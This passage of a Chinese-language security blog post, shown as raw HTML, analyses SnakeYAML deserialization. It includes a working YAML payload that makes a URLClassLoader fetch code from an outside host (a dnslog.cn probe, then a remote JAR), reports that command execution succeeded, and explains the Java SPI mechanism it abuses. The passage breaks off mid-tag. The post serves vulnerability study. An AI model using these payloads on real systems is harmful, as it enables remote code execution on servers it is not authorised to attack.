border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">static</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">void</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">main</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span>[] <span style="box-sizing: border-box;color: rgb(0, 0, 0);">args</span>) {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">context</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\&#34;<a href="http://fnsdae.dnslog.cn\" target="_blank">http://fnsdae.dnslog.cn\</a>&#34;]]]]\n&#34;</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Yaml</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Yaml</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">load</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">context</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    } </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n45" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n46" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.42890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=214595e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppjwZH7OdtmWHQRtor3c5TYpjsOSfqgXJiap5hn2vZUqQlYmZrLcl5S0Q%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n46" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;">成功获取d</span>nslog请求，但是这poc也只能探测是否进行了反序列化。如果需要利用的话还需要构造命令执行的代码。</span><br/></p><p cid="n47" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">利用脚本其实已经有师傅写好了。转到这个</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">github</span></span><span md-inline="plain" style="box-sizing: border-box;">项目下下载该项目。打开修改代码。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.53359375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2d478f0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppJw1WM2mUSPn0kSRGmDG0icuxZmpFjtxI6RicOCblYeBGYY3pjQbGhppg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n50" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">脚本也比较简单，就是实现了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">ScriptEngineFactory</code></span><span md-inline="plain" style="box-sizing: border-box;">接口，然后在静态代码块处填写需要执行的命令。将项目打包后挂载到web端，使用payload进行反序列化后请求到该位置，实现</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">java.net.URLClassLoader</code></span><span md-inline="plain" style="box-sizing: border-box;">调用远程的类进行执行命令。</span></p><pre spellcheck="false" lang="cmake" cid="n51" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">python -m http.server --cgi <span style="box-sizing: border-box;color: rgb(17, 102, 68);">8888</span></span></pre><p cid="n52" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">测试代码：</span></p><pre spellcheck="false" lang="java" cid="n53" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">class</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">main</span> {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">static</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">void</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">main</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span>[] <span style="box-sizing: border-box;color: rgb(0, 0, 0);">args</span>) {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">context</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;!!javax.script.ScriptEngineManager [\n&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;  !!java.net.URLClassLoader [[\n&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;    !!java.net.URL [\&#34;<a href="http://127.0.0.1:8888/yaml-payload-master.jar\" target="_blank">http://127.0.0.1:8888/yaml-payload-master.jar\</a>&#34;]\n&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;  ]]\n&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;]&#34;</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Yaml</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Yaml</span>();</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">yaml</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">load</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">context</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5140625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7d593bb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppzsEHJ8qmypuZfDhwI8brEhfNpicuCYkP80UQeTGE52w0cEicGgrL1nww%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n55" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">命令执行成功。</span><br/></p><h3 cid="n56" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">SPI机制</span></h3><p cid="n57" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">在漏洞分析前先来了解一下SPI机制，在前面使用的执行代码的payload中看到使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">ScriptEngineManager</code></span><span md-inline="plain" style="box-sizing: border-box;">类来进行构造，其实</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">ScriptEngineManager</code></span><span md-inline="plain" style="box-sizing: border-box;">利用的的底层也是SPI机制。</span></p><p cid="n58" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">SPI ，全称为 Service Provider Interface，是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件，自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。</span></p><p cid="n59" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">那么如果需要使用 SPI 机制需要在Java classpath 下的 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">META-INF/services/</code></span><span md-inline="plain" style="box-sizing: border-box;"> 目录里创建一个以服务接口命名的文件，这个文件里的内容就是这个接口的具体的</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">实现类</strong></span><span md-inline="plain" style="box-sizing: border-box;">。</span></p><p cid="n60" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="image" data-src="C:\Users\Administrator\Desktop\wiki\blogs\img\yaml反序列化分析\4.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;display: inline-block;width: 704.4px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.2190237797246558" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="799" src="https://wechat2rss.xlab.app/img-proxy/?k=168f32b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhpprKI5BtkFh4HdScCvJaicBOkR0wj5GCeKy5LcEA76BvQmiaBLUS7icJyHw%2F640%3Fwx_fmt%3Dpng"/></span></p><p cid="n61" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">在第一次听说SPI还是在看JDBC底层实现的时候，但是并没有去做多的了解。这里拿JDBC来举个例子。</span></p><p cid="n62" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">SPI是一种动态替换发现的机制，比如有个接口，想运行时动态的给它添加实现，你只需要添加一个实现。</span></p><p cid="n63" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">来看到连接驱动的jar包，这里就是在Java classpath 下的 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">META-INF/services/</code></span><span md-inline="plain" style="box-sizing: border-box;"> 定义实现类。</span></p><p cid="n63" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.52890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d60bd0d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppeUoueFC2YfXlCyRU57mRXmc9B0QooKNZsWTO0cmbgsVj7uvlVBp55Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.43671875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e4210d45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppwJ5A5PpGM53dDwRKECP9Y4nUgb9gic8bgBZfotwicwfQ0xKjRq2dyoibA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.48515625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a1520010&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppQpicwuhv30f0y33MAOicnGzVJlAsKpCwSszbfVSr1rpUBRa5IZzDdm7A%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;"></span><br/></p><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">而数据库有很多种类型，而实现方式不尽相同，而在实现各种连接驱动的时候，只需要添加</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">java.sql.Driver</code></span><span md-inline="plain" style="box-sizing: border-box;">实现接口，然后Java的SPI机制可以为某个接口寻找服务实现，就实现了各种数据库的驱动连接。</span><br/></p><p cid="n70" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">实现细节</strong></span><span md-inline="plain" style="box-sizing: border-box;">：程序会</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">java.util.ServiceLoder</code></span><span md-inline="plain" style="box-sizing: border-box;">动态装载实现模块，在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">META-INF/services</code></span><span md-inline="plain" style="box-sizing: border-box;">目录下的配置文件寻找实现类的类名，通过</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">Class.forName</code></span><span md-inline="plain" style="box-sizing: border-box;">加载进来,</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">newInstance()</code></span><span md-inline="plain" style="box-sizing: border-box;">反射创建对象,并存到缓存和列表里面。</span></p><p cid="n71" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h3 cid="n72" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">漏洞分析</span></h3><p cid="n73" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">先来简单讲讲我理解的该漏洞利用的过程，建立在未对该漏洞分析前。</span></p><p cid="n74" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">前面说到SPI会通过</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">java.util.ServiceLoder</code></span><span md-inline="plain" style="box-sizing: border-box;">进行动态加载实现，而在刚刚的exp的代码里面实现了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">ScriptEngineFactory</code></span><span md-inline="plain" style="box-sizing: border-box;">并在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">META-INF/services/</code></span><span md-inline="plain" style="box-sizing: border-box;"> 里面添加了实现类的类名，而该类在静态代码块处是我们的执行命令的代码，而在调用的时候，SPI机制通过</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">Class.forName</code></span><span md-inline="plain" style="box-sizing: border-box;">反射加载并且</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">newInstance()</code></span><span md-inline="plain" style="box-sizing: border-box;">反射创建对象的时候，静态代码块进行执行，从而达到命令执行的目的。</span></p><p cid="n75" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n76" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">下面开始调试分析漏洞，在漏洞位置下断点</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.50703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=fd7c8e7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhpp1wx4j6tWN6hcnxMOsoyKGiaIH367oV6y3M3TRPcrh8oJbDmq5TFhLYQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n78" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">this.loadFromReader</code></span><span md-inline="plain" style="box-sizing: border-box;">跟踪查看</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.56328125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c8e3770c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvemEOVTer22DLv0sXibAMhppvzHp9LIHPhblB5m0gQNkia20XydKMj9uTRibpbsleLCicOUWsoysCadUw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n80" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">以上就是各种赋值，需要注意的是数据的流向，这里没啥好看的，来步进到下面，下面的返回值调用</span><span md-inline="code" spellcheck="false" style="box-sizing: 